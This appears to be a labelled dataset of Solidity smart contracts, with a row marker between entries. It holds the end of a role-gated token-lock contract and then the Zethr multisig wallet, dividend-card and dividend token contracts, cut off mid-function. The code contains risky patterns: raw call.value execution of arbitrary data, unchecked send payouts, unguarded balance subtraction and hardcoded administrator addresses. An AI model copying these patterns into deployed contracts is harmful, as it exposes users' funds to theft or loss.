balances[_users[i]] = balances[_users[i]].sub(_values[i]);
incentivesPool = incentivesPool.add(_values[i]);
emit Transfer(_users[i], address(0), _values[i]);
}
return true;
}
function incentivesOut(address[] _users, uint256[] _values) public onlyRole("IncentivesDistributor") returns (bool success) {
require(_users.length == _values.length);
for (uint256 i = 0; i < _users.length; i++) {
incentivesPool = incentivesPool.sub(_values[i]);
balances[_users[i]] = balances[_users[i]].add(_values[i]);
emit Transfer(address(0), _users[i], _values[i]);
}
return true;
}
function tokenLock(address _userAddress, uint256 _amount) public onlyRole("Locker") {
require(balanceOf(_userAddress) >= _amount);
userLockedTokens[_userAddress] = userLockedTokens[_userAddress].add(_amount);
emit Lock(_userAddress, _amount);
}
function tokenUnlock(address _userAddress, uint256 _amount, address _to, uint256 _toAmount) public onlyRole("Unlocker") {
require(_amount >= _toAmount);
require(userLockedTokens[_userAddress] >= _amount);
userLockedTokens[_userAddress] = userLockedTokens[_userAddress].sub(_amount);
emit Unlock(_userAddress, _amount);
if (_to != address(0) && _toAmount != 0) {
balances[_userAddress] = balances[_userAddress].sub(_toAmount);
balances[_to] = balances[_to].add(_toAmount);
emit Transfer(_userAddress, _to, _toAmount);
}
}
function transferAndLock(address _userAddress, address _to, uint256 _amount) public onlyRole("Locker") {
require(balanceOf(_userAddress) >= _amount);
balances[_userAddress] = balances[_userAddress].sub(_amount);
balances[_to] = balances[_to].add(_amount);
userLockedTokens[_to] = userLockedTokens[_to].add(_amount);
emit Transfer(_userAddress, _to, _amount);
emit Lock(_to, _amount);
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner] - userLockedTokens[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf(msg.sender) >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balanceOf(_from) >= _value && allowed[_from][msg.sender] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 3,003 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
library ZethrTierLibrary {
uint constant internal magnitude = 2 ** 64;
function getTier(uint divRate) internal pure returns (uint8) {
uint actualDiv = divRate / magnitude;
if (actualDiv >= 30) {
return 6;
} else if (actualDiv >= 25) {
return 5;
} else if (actualDiv >= 20) {
return 4;
} else if (actualDiv >= 15) {
return 3;
} else if (actualDiv >= 10) {
return 2;
} else if (actualDiv >= 5) {
return 1;
} else if (actualDiv >= 2) {
return 0;
} else {
revert();
}
}
function getDivRate(uint _tier)
internal pure
returns (uint8)
{
if (_tier == 0) {
return 2;
} else if (_tier == 1) {
return 5;
} else if (_tier == 2) {
return 10;
} else if (_tier == 3) {
return 15;
} else if (_tier == 4) {
return 20;
} else if (_tier == 5) {
return 25;
} else if (_tier == 6) {
return 33;
} else {
revert();
}
}
}
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ZethrMultiSigWallet is ERC223Receiving {
using SafeMath for uint;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event BankrollInvest(uint amountReceived);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
bool internal reEntered = false;
uint constant public MAX_OWNER_COUNT = 15;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
struct TKN {
address sender;
uint value;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (isOwner[caller])
_;
else
revert();
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function()
public
payable
{
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
validRequirement(owners.length, required)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function tokenFallback(address , uint , bytes )
public
returns (bool)
{
return true;
}
}
contract ZethrTokenBankrollInterface is ERC223Receiving {
uint public jackpotBalance;
function getMaxProfit(address) public view returns (uint);
function gameTokenResolution(uint _toWinnerAmount, address _winnerAddress, uint _toJackpotAmount, address _jackpotAddress, uint _originalBetSize) external;
function payJackpotToWinner(address _winnerAddress, uint payoutDivisor) public;
}
contract ZethrBankrollControllerInterface is ERC223Receiving {
address public jackpotAddress;
ZethrTokenBankrollInterface[7] public tokenBankrolls;
ZethrMultiSigWallet public multiSigWallet;
mapping(address => bool) public validGameAddresses;
function gamePayoutResolver(address _resolver, uint _tokenAmount) public;
function isTokenBankroll(address _address) public view returns (bool);
function getTokenBankrollAddressFromTier(uint8 _tier) public view returns (address);
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ERC721Interface {
function approve(address _to, uint _tokenId) public;
function balanceOf(address _owner) public view returns (uint balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint _tokenId) public view returns (address addr);
function takeOwnership(uint _tokenId) public;
function totalSupply() public view returns (uint total);
function transferFrom(address _from, address _to, uint _tokenId) public;
function transfer(address _to, uint _tokenId) public;
event Transfer(address indexed from, address indexed to, uint tokenId);
event Approval(address indexed owner, address indexed approved, uint tokenId);
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ZethrDividendCards is ERC721Interface {
using SafeMath for uint;
event Birth(uint tokenId, string name, address owner);
event TokenSold(uint tokenId, uint oldPrice, uint newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint tokenId);
event BankrollDivCardProfit(uint bankrollProfit, uint percentIncrease, address oldOwner);
event BankrollProfitFailure(uint bankrollProfit, uint percentIncrease, address oldOwner);
event UserDivCardProfit(uint divCardProfit, uint percentIncrease, address oldOwner);
event DivCardProfitFailure(uint divCardProfit, uint percentIncrease, address oldOwner);
event masterCardProfit(uint toMaster, address _masterAddress, uint _divCardId);
event masterCardProfitFailure(uint toMaster, address _masterAddress, uint _divCardId);
event regularCardProfit(uint toRegular, address _regularAddress, uint _divCardId);
event regularCardProfitFailure(uint toRegular, address _regularAddress, uint _divCardId);
string public constant NAME = "ZethrDividendCard";
string public constant SYMBOL = "ZDC";
address public BANKROLL;
mapping (uint => address) public divCardIndexToOwner;
mapping (uint => uint) public divCardRateToIndex;
mapping (address => uint) private ownershipDivCardCount;
mapping (uint => address) public divCardIndexToApproved;
mapping (uint => uint) private divCardIndexToPrice;
mapping (address => bool) internal administrators;
address public creator;
bool public onSale;
struct Card {
string name;
uint percentIncrease;
}
Card[] private divCards;
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
constructor (address _bankroll) public {
creator = msg.sender;
BANKROLL = _bankroll;
createDivCard("2%", 1 ether, 2);
divCardRateToIndex[2] = 0;
createDivCard("5%", 1 ether, 5);
divCardRateToIndex[5] = 1;
createDivCard("10%", 1 ether, 10);
divCardRateToIndex[10] = 2;
createDivCard("15%", 1 ether, 15);
divCardRateToIndex[15] = 3;
createDivCard("20%", 1 ether, 20);
divCardRateToIndex[20] = 4;
createDivCard("25%", 1 ether, 25);
divCardRateToIndex[25] = 5;
createDivCard("33%", 1 ether, 33);
divCardRateToIndex[33] = 6;
createDivCard("MASTER", 5 ether, 10);
divCardRateToIndex[999] = 7;
onSale = true;
administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true;
administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true;
administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true;
administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true;
administrators[msg.sender] = true;
}
modifier isNotContract()
{
require (msg.sender == tx.origin);
_;
}
modifier hasStarted()
{
require (onSale == true);
_;
}
modifier isAdmin()
{
require(administrators[msg.sender]);
_;
}
function setBankroll(address where)
public
isAdmin
{
BANKROLL = where;
}
function approve(address _to, uint _tokenId)
public
isNotContract
{
require(_owns(msg.sender, _tokenId));
divCardIndexToApproved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner)
public
view
returns (uint balance)
{
return ownershipDivCardCount[_owner];
}
function createDivCard(string _name, uint _price, uint _percentIncrease)
public
onlyCreator
{
_createDivCard(_name, BANKROLL, _price, _percentIncrease);
}
function startCardSale()
public
isAdmin
{
onSale = true;
}
function getDivCard(uint _divCardId)
public
view
returns (string divCardName, uint sellingPrice, address owner)
{
Card storage divCard = divCards[_divCardId];
divCardName = divCard.name;
sellingPrice = divCardIndexToPrice[_divCardId];
owner = divCardIndexToOwner[_divCardId];
}
function implementsERC721()
public
pure
returns (bool)
{
return true;
}
function name()
public
pure
returns (string)
{
return NAME;
}
function ownerOf(uint _divCardId)
public
view
returns (address owner)
{
owner = divCardIndexToOwner[_divCardId];
require(owner != address(0));
return owner;
}
function purchase(uint _divCardId)
public
payable
hasStarted
isNotContract
{
address oldOwner = divCardIndexToOwner[_divCardId];
address newOwner = msg.sender;
uint currentPrice = divCardIndexToPrice[_divCardId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= currentPrice);
uint percentIncrease = divCards[_divCardId].percentIncrease;
uint previousPrice = SafeMath.mul(currentPrice, 100).div(100 + percentIncrease);
uint totalProfit = SafeMath.sub(currentPrice, previousPrice);
uint oldOwnerProfit = SafeMath.div(totalProfit, 2);
uint bankrollProfit = SafeMath.sub(totalProfit, oldOwnerProfit);
oldOwnerProfit = SafeMath.add(oldOwnerProfit, previousPrice);
uint purchaseExcess = SafeMath.sub(msg.value, currentPrice);
divCardIndexToPrice[_divCardId] = SafeMath.div(SafeMath.mul(currentPrice, (100 + percentIncrease)), 100);
_transfer(oldOwner, newOwner, _divCardId);
if(BANKROLL.send(bankrollProfit)) {
emit BankrollDivCardProfit(bankrollProfit, percentIncrease, oldOwner);
} else {
emit BankrollProfitFailure(bankrollProfit, percentIncrease, oldOwner);
}
if(oldOwner.send(oldOwnerProfit)) {
emit UserDivCardProfit(oldOwnerProfit, percentIncrease, oldOwner);
} else {
emit DivCardProfitFailure(oldOwnerProfit, percentIncrease, oldOwner);
}
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint _divCardId)
public
view
returns (uint price)
{
return divCardIndexToPrice[_divCardId];
}
function setCreator(address _creator)
public
onlyCreator
{
require(_creator != address(0));
creator = _creator;
}
function symbol()
public
pure
returns (string)
{
return SYMBOL;
}
function takeOwnership(uint _divCardId)
public
isNotContract
{
address newOwner = msg.sender;
address oldOwner = divCardIndexToOwner[_divCardId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _divCardId));
_transfer(oldOwner, newOwner, _divCardId);
}
function totalSupply()
public
view
returns (uint total)
{
return divCards.length;
}
function transfer(address _to, uint _divCardId)
public
isNotContract
{
require(_owns(msg.sender, _divCardId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _divCardId);
}
function transferFrom(address _from, address _to, uint _divCardId)
public
isNotContract
{
require(_owns(_from, _divCardId));
require(_approved(_to, _divCardId));
require(_addressNotNull(_to));
_transfer(_from, _to, _divCardId);
}
function receiveDividends(uint _divCardRate)
public
payable
{
uint _divCardId = divCardRateToIndex[_divCardRate];
address _regularAddress = divCardIndexToOwner[_divCardId];
address _masterAddress = divCardIndexToOwner[7];
uint toMaster = msg.value.div(2);
uint toRegular = msg.value.sub(toMaster);
if(_masterAddress.send(toMaster)){
emit masterCardProfit(toMaster, _masterAddress, _divCardId);
} else {
emit masterCardProfitFailure(toMaster, _masterAddress, _divCardId);
}
if(_regularAddress.send(toRegular)) {
emit regularCardProfit(toRegular, _regularAddress, _divCardId);
} else {
emit regularCardProfitFailure(toRegular, _regularAddress, _divCardId);
}
}
function _addressNotNull(address _to)
private
pure
returns (bool)
{
return _to != address(0);
}
function _approved(address _to, uint _divCardId)
private
view
returns (bool)
{
return divCardIndexToApproved[_divCardId] == _to;
}
function _createDivCard(string _name, address _owner, uint _price, uint _percentIncrease)
private
{
Card memory _divcard = Card({
name: _name,
percentIncrease: _percentIncrease
});
uint newCardId = divCards.push(_divcard) - 1;
require(newCardId == uint(uint32(newCardId)));
emit Birth(newCardId, _name, _owner);
divCardIndexToPrice[newCardId] = _price;
_transfer(BANKROLL, _owner, newCardId);
}
function _owns(address claimant, uint _divCardId)
private
view
returns (bool)
{
return claimant == divCardIndexToOwner[_divCardId];
}
function _transfer(address _from, address _to, uint _divCardId)
private
{
ownershipDivCardCount[_to]++;
divCardIndexToOwner[_divCardId] = _to;
if (_from != address(0)) {
ownershipDivCardCount[_from]--;
delete divCardIndexToApproved[_divCardId];
}
emit Transfer(_from, _to, _divCardId);
}
}
contract Zethr {
using SafeMath for uint;
modifier onlyHolders() {
require(myFrontEndTokens() > 0);
_;
}
modifier dividendHolder() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy
);
event UserDividendRate(
address user,
uint divRate
);
event onTokenSell(
address indexed customerAddress,
uint tokensBurned,
uint ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint ethereumReinvested,
uint tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint tokens
);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint tokens
);
event Allocation(
uint toBankRoll,
uint toReferrer,
uint toTokenHolders,
uint toDivCardHolders,
uint forTokens
);
event Referral(
address referrer,
uint amountReceived
);
uint8 constant public decimals = 18;
uint constant internal tokenPriceInitial_ = 0.000653 ether;
uint constant internal magnitude = 2 ** 64;
uint constant internal icoHardCap = 250 ether;
uint constant internal addressICOLimit = 1 ether;
uint constant internal icoMinBuyIn = 0.1 finney;
uint constant internal icoMaxGasPrice = 50000000000 wei;
uint constant internal MULTIPLIER = 9615;
uint constant internal MIN_ETH_BUYIN = 0.0001 ether;
uint constant internal MIN_TOKEN_SELL_AMOUNT = 0.0001 ether;
uint constant internal MIN_TOKEN_TRANSFER = 1e10;
uint constant internal referrer_percentage = 25;
uint public stakingRequirement = 100e18;
string public name = "Zethr";
string public symbol = "ZTH";
bytes32 constant public icoHashedPass = bytes32(0x8a6ddee3fb2508ff4a5b02b48e9bc4566d0f3e11f306b0f75341bf235662a9e3);
address internal bankrollAddress;
ZethrDividendCards divCardContract;
mapping(address => uint) internal frontTokenBalanceLedger_;
mapping(address => uint) internal dividendTokenBalanceLedger_;
mapping(address =>
mapping(address => uint))
public allowed;
mapping(uint8 => bool) internal validDividendRates_;
mapping(address => bool) internal userSelectedRate;
mapping(address => uint8) internal userDividendRate;
mapping(address => uint) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint) internal ICOBuyIn;
uint public tokensMintedDuringICO;
uint public ethInvestedDuringICO;
uint public currentEthInvested;
uint internal tokenSupply = 0;
uint internal divTokenSupply = 0;
uint internal profitPerDivToken;
mapping(address => bool) public administrators;
bool public icoPhase = false;
bool public regularPhase = false;
uint icoOpenTime;
constructor (address _bankrollAddress, address _divCardAddress)
public
{
bankrollAddress = _bankrollAddress;
divCardContract = ZethrDividendCards(_divCardAddress);
administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true;
administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true;
administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true;
administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true;
administrators[0x8537aa2911b193e5B377938A723D805bb0865670] = true;
administrators[0x9D221b2100CbE5F05a0d2048E2556a6Df6f9a6C3] = true;
administrators[0xDa83156106c4dba7A26E9bF2Ca91E273350aa551] = true;
administrators[0x71009e9E4e5e68e77ECc7ef2f2E95cbD98c6E696] = true;
administrators[msg.sender] = true;
validDividendRates_[2] = true;
validDividendRates_[5] = true;
validDividendRates_[10] = true;
validDividendRates_[15] = true;
validDividendRates_[20] = true;
validDividendRates_[25] = true;
validDividendRates_[33] = true;
userSelectedRate[bankrollAddress] = true;
userDividendRate[bankrollAddress] = 33;
}
function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string )
public
payable
returns (uint)
{
require(icoPhase || regularPhase);
if (icoPhase) {
uint gasPrice = tx.gasprice;
require(gasPrice <= icoMaxGasPrice && ethInvestedDuringICO <= icoHardCap);
}
require(validDividendRates_[_divChoice]);
userSelectedRate[msg.sender] = true;
userDividendRate[msg.sender] = _divChoice;
emit UserDividendRate(msg.sender, _divChoice);
purchaseTokens(msg.value, _referredBy);
}
function buy(address _referredBy)
public
payable
returns (uint)
{
require(regularPhase);
address _customerAddress = msg.sender;
require(userSelectedRate[_customerAddress]);
purchaseTokens(msg.value, _referredBy);
}
function buyAndTransfer(address _referredBy, address target)
public
payable
{
bytes memory empty;
buyAndTransfer(_referredBy, target, empty, 20);
}
function buyAndTransfer(address _referredBy, address target, bytes _data)
public
payable
{
buyAndTransfer(_referredBy, target, _data, 20);
}
function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice)
public
payable
{
require(regularPhase);
address _customerAddress = msg.sender;
uint256 frontendBalance = frontTokenBalanceLedger_[msg.sender];
if (userSelectedRate[_customerAddress] && divChoice == 0) {
purchaseTokens(msg.value, _referredBy);
} else {
buyAndSetDivPercentage(_referredBy, divChoice, "0x0");
}
uint256 difference = SafeMath.sub(frontTokenBalanceLedger_[msg.sender], frontendBalance);
transferTo(msg.sender, target, difference, _data);
}
function()
payable
public
{
require(regularPhase);
address _customerAddress = msg.sender;
if (userSelectedRate[_customerAddress]) {
purchaseTokens(msg.value, 0x0);
} else {
buyAndSetDivPercentage(0x0, 20, "0x0");
}
}
function reinvest()
dividendHolder()
public
{
require(regularPhase);
uint _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
require(regularPhase);
address _customerAddress = msg.sender;
uint _tokens = frontTokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw(_customerAddress);
}
function withdraw(address _recipient)
dividendHolder()
public
{
require(regularPhase);
address _customerAddress = msg.sender;
uint _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
if (_recipient == address(0x0)) {
_recipient = msg.sender;
}
_recipient.transfer(_dividends);
emit onWithdraw(_recipient, _dividends);
}
function sell(uint _amountOfTokens)
onlyHolders()
public
{
require(!icoPhase);
require(regularPhase);
require(_amountOfTokens <= frontTokenBalanceLedger_[msg.sender]);
uint _frontEndTokensToBurn = _amountOfTokens;
uint userDivRate = getUserAverageDividendRate(msg.sender);
require((2 * magnitude) <= userDivRate && (50 * magnitude) >= userDivRate);
uint _divTokensToBurn = (_frontEndTokensToBurn.mul(userDivRate)).div(magnitude);
uint _ethereum = tokensToEthereum_(_frontEndTokensToBurn);
if (_ethereum > currentEthInvested) {
currentEthInvested = 0;
} else {currentEthInvested = currentEthInvested - _ethereum;}
uint _dividends = (_ethereum.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude);
uint _taxedEthereum = _ethereum.sub(_dividends);
tokenSupply = tokenSupply.sub(_frontEndTokensToBurn);
divTokenSupply = divTokenSupply.sub(_divTokensToBurn);
frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].sub(_frontEndTokensToBurn);
dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].sub(_divTokensToBurn);
int256 _updatedPayouts = (int256) (profitPerDivToken * _divTokensToBurn + (_taxedEthereum * magnitude));
payoutsTo_[msg.sender] -= _updatedPayouts;
if (divTokenSupply > 0) {
profitPerDivToken = profitPerDivToken.add((_dividends * magnitude) / divTokenSupply);
}
emit onTokenSell(msg.sender, _frontEndTokensToBurn, _taxedEthereum);
}
function transfer(address _toAddress, uint _amountOfTokens)
onlyHolders()
public
returns (bool)
{
require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[msg.sender]);
bytes memory empty;
transferFromInternal(msg.sender, _toAddress, _amountOfTokens, empty);
return true;
}
function approve(address spender, uint tokens)
public
returns (bool)
{
address _customerAddress = msg.sender;
allowed[_customerAddress][spender] = tokens;
emit Approval(_customerAddress, spender, tokens);
return true;
}
function transferFrom(address _from, address _toAddress, uint _amountOfTokens)
public
returns (bool)
{
address _customerAddress = _from;
bytes memory empty;
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_customerAddress]
&& _amountOfTokens <= allowed[_customerAddress][msg.sender]);
transferFromInternal(_from, _toAddress, _amountOfTokens, empty);
return true;
}
function transferTo(address _from, address _to, uint _amountOfTokens, bytes _data)
public
{
if (_from != msg.sender) {
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_from]
&& _amountOfTokens <= allowed[_from][msg.sender]);
}
else {
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_from]);
}
transferFromInternal(_from, _to, _amountOfTokens, _data);
}
function totalSupply()
public
view
returns (uint256)
{
return tokenSupply;
}
function publicStartRegularPhase()
public
{
require(now > (icoOpenTime + 2 weeks) && icoOpenTime != 0);
icoPhase = false;
regularPhase = true;
}
function startICOPhase()
onlyAdministrator()
public
{
require(icoOpenTime == 0);
icoPhase = true;
icoOpenTime = now;
}
function endICOPhase()
onlyAdministrator()
public
{
icoPhase = false;
}
function startRegularPhase()
onlyAdministrator
public
{
icoPhase = false;
regularPhase = true;
}
function setAdministrator(address _newAdmin, bool _status)
onlyAdministrator()
public
{
administrators[_newAdmin] = _status;
}
function setStakingRequirement(uint _amountOfTokens)
onlyAdministrator()
public
{
require(_amountOfTokens >= 100e18);
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function changeBankroll(address _newBankrollAddress)
onlyAdministrator
public
{
bankrollAddress = _newBankrollAddress;
}
function totalEthereumBalance()
public
view
returns (uint)
{
return address(this).balance;
}
function totalEthereumICOReceived()
public
view
returns (uint)
{
return ethInvestedDuringICO;
}
function getMyDividendRate()
public
view
returns (uint8)
{
address _customerAddress = msg.sender;
require(userSelectedRate[_customerAddress]);
return userDividendRate[_customerAddress];
}
function getFrontEndTokenSupply()
public
view
returns (uint)
{
return tokenSupply;
}
function getDividendTokenSupply()
public
view
returns (uint)
{
return divTokenSupply;
}
function myFrontEndTokens()
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return getFrontEndTokenBalanceOf(_customerAddress);
}
function myDividendTokens()
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return getDividendTokenBalanceOf(_customerAddress);
}
function myReferralDividends()
public
view
returns (uint)
{
return myDividends(true) - myDividends(false);
}
function myDividends(bool _includeReferralBonus)
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress);
}
function theDividendsOf(bool _includeReferralBonus, address _customerAddress)
public
view
returns (uint)
{
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress);
}
function getFrontEndTokenBalanceOf(address _customerAddress)
view
public
returns (uint)
{
return frontTokenBalanceLedger_[_customerAddress];
}
function balanceOf(address _owner)
view
public
returns (uint)
{
return getFrontEndTokenBalanceOf(_owner);
}
function getDividendTokenBalanceOf(address _customerAddress)
view
public
returns (uint)
{
return dividendTokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns (uint)
{
return (uint) ((int256)(profitPerDivToken * dividendTokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns (uint)
{
uint price;
